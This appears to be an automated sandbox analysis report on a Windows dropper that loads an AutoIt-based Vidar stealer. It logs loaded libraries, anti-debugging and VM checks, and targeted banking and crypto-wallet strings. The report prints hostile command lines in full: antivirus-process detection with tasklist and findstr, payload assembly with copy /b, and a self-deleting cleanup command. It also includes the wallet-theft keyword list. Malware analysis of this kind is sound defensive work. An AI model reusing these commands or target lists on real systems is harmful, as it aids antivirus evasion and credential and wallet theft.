Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll

Source: C:\Users\user\Desktop\1l1ohfybAf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: 1l1ohfybAf.exe

Static file information: File size 1056302 > 1048576

Source: 1l1ohfybAf.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: cryptosetup.pdbGCTL source: Cet.com, 0000000D.00000002.3218327209.0000000003A95000.00000004.00000800.00020000.00000000.sdmp, pp8q1n.13.dr
Source:	Binary string: cryptosetup.pdb source: Cet.com, 0000000D.00000002.3218327209.0000000003A95000.00000004.00000800.00020000.00000000.sdmp, pp8q1n.13.dr

Source: C:\Users\user\Desktop\1l1ohfybAf.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: 1l1ohfybAf.exe

Static PE information: real checksum: 0x105c0a should be: 0x10fb8c

Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_00330315 push cs; retn 0032h		13_2_00330318
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_00300DE6 push ecx; ret		13_2_00300DF9

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\815387\Cet.com

Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\815387\Cet.com			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	File created: C:\ProgramData\phlng\pp8q1n			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com

File created: C:\ProgramData\phlng\pp8q1n

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com

File created: C:\ProgramData\phlng\pp8q1n

Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_003726DD IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		13_2_003726DD
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_002FFC7C GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		13_2_002FFC7C

Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com

Dropped PE file which has not been started: C:\ProgramData\phlng\pp8q1n

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com

API coverage: 3.9 %

Source: C:\Windows\SysWOW64\timeout.exe TID: 7500

Thread sleep count: 88 > 30

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_0034DC54 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	13_2_0034DC54
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_0035A087 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	13_2_0035A087
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_0035A1E2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	13_2_0035A1E2
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_0034E472 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	13_2_0034E472
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_0035A570 FindFirstFileW,Sleep,FindNextFileW,FindClose,	13_2_0035A570
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_0031C622 FindFirstFileExW,	13_2_0031C622
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_003566DC FindFirstFileW,FindNextFileW,FindClose,	13_2_003566DC
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_00357333 FindFirstFileW,FindClose,	13_2_00357333
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_003573D4 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	13_2_003573D4
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_0034D921 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	13_2_0034D921

Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com

Code function: 13_2_002E5FC8 GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

13_2_002E5FC8

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\815387	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\815387\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior

Source: 8y5fk6.13.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: chrome.exe, 00000013.00000002.2673216134.0000512800708000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware
Source: 8y5fk6.13.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: 8y5fk6.13.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: 8y5fk6.13.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: 8y5fk6.13.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: 8y5fk6.13.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: Cet.com, 0000000D.00000002.3218327209.00000000039FB000.00000004.00000800.00020000.00000000.sdmp, Cet.com, 0000000D.00000002.3217675963.0000000001132000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 8y5fk6.13.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: msedge.exe, 00000016.00000003.2714479638.000068B0002B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware20,1(
Source: 8y5fk6.13.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: 8y5fk6.13.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: 8y5fk6.13.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: 8y5fk6.13.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: chrome.exe, 00000013.00000002.2662008094.0000023EC0378000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllHHOQP
Source: 8y5fk6.13.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: 8y5fk6.13.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: msedge.exe, 00000016.00000002.2796721755.00000229FD644000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 8y5fk6.13.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: 8y5fk6.13.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: 8y5fk6.13.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: 8y5fk6.13.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: 8y5fk6.13.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: chrome.exe, 00000013.00000002.2680354071.0000512801158000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware Virtual USB Mouseorlidator
Source: 8y5fk6.13.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: 8y5fk6.13.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: 8y5fk6.13.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: 8y5fk6.13.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: 8y5fk6.13.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: 8y5fk6.13.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: 8y5fk6.13.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: 8y5fk6.13.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: Cet.com, 0000000D.00000002.3217675963.0000000001132000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: od_VMware_SATA_C
Source: 8y5fk6.13.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: 8y5fk6.13.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: 8y5fk6.13.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: 8y5fk6.13.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: 8y5fk6.13.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
Source: chrome.exe, 00000013.00000002.2674958543.0000512800A84000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: USB device added: path=\\?\usb#vid_0e0f&pid_0003#5&2dda038&0&5#{a5dcbf10-6530-11d2-901f-00c04fb951ed} vendor=3599 "VMware", product=3 "VMware Virtual USB Mouse", serial="", driver="usbccgp", guid=b9967e0c-fabc-4639-80a2-f98d0f69e691

Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com

Code function: 13_2_0035F4FF BlockInput,

13_2_0035F4FF

Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com

Code function: 13_2_002E338B GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

13_2_002E338B

Source: C:\Users\user\Desktop\1l1ohfybAf.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com

Code function: 13_2_00305058 mov eax, dword ptr fs:[00000030h]

13_2_00305058

Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com

Code function: 13_2_003420AA GetLengthSid,GetProcessHeap,HeapAlloc,CopySid,GetProcessHeap,HeapFree,

13_2_003420AA

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_00312992 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_00312992
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_00300BAF IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_00300BAF
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_00300D45 SetUnhandledExceptionFilter,	13_2_00300D45
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_00300F91 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	13_2_00300F91

HIPS / PFW / Operating System Protection Evasion

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com

13_2_00341B4D

Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com

Code function: 13_2_002E338B GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

13_2_002E338B

Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com

Code function: 13_2_0034BBED SendInput,keybd_event,

13_2_0034BBED

Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com

Code function: 13_2_0034EC6C mouse_event,

13_2_0034EC6C

Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Tie Tie.cmd & Tie.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 815387	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Panasonic	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Favors" Abstract	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 815387\Cet.com + Critics + Depot + Annie + Recordings + Niagara + Lawsuit + Wines + Fisheries + Newbie 815387\Cet.com	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Charm + ..\Injuries + ..\Grows + ..\Departments + ..\Directors + ..\Iraq G	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\815387\Cet.com Cet.com G	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\user\AppData\Local\Temp\815387\Cet.com" & rd /s /q "C:\ProgramData\phlng" & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10

Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com

Code function: 13_2_003414AE GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

13_2_003414AE

Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com

Code function: 13_2_00341FB0 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

13_2_00341FB0

Source: Cet.com, 0000000D.00000000.2156635560.00000000003A3000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: Cet.com	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com

Code function: 13_2_00300A08 cpuid

13_2_00300A08

Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com

Code function: 13_2_0033E5F4 GetLocalTime,

13_2_0033E5F4

Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com

Code function: 13_2_0033E652 GetUserNameW,

13_2_0033E652

Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com

Code function: 13_2_0031BCD2 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,

13_2_0031BCD2

Source: C:\Users\user\Desktop\1l1ohfybAf.exe

Code function: 0_2_00406805 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406805

Stealing of Sensitive Information

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: Cet.com PID: 1340, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Cet.com, 0000000D.00000002.3218327209.00000000039FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Electrum\wallets\
Source: Cet.com, 0000000D.00000002.3218327209.00000000039FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: Cet.com, 0000000D.00000002.3218327209.00000000039FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Electrum\wallets\
Source: Cet.com, 0000000D.00000002.3218327209.00000000039FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: Cet.com, 0000000D.00000002.3218327209.00000000039FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: exodus.conf.json
Source: Cet.com, 0000000D.00000002.3218327209.00000000039FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: Cet.com, 0000000D.00000002.3217675963.0000000001132000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: info.seco
Source: Cet.com, 0000000D.00000002.3217675963.0000000001132000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ElectrumLTC
Source: Cet.com, 0000000D.00000002.3217675963.0000000001132000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: passphrase.json
Source: Cet.com, 0000000D.00000002.3217675963.0000000001132000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\
Source: Cet.com, 0000000D.00000002.3218327209.00000000039FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Exodus Web3 Wallet
Source: Cet.com, 0000000D.00000002.3218327209.00000000039FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: wallet.,seed.,btc.,key.,2fa.,crypto.,coin.,private.,2fa.,auth.,ledger.,trezor.,pass.,wal.,upbit.,bcex.,bithimb.,hitbtc.,bitflyer.,kucoin.,huobi.,poloniex.,kraken.,okex.,binance.,bitfinex.,gdax.,ethereum.,exodus.,metamask.,myetherwallet.,electrum.,bitcoin.,blockchain.,coinomi.,words.,meta.,mask.,eth.,recovery.,*.txt
Source: Cet.com, 0000000D.00000002.3217675963.00000000010D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
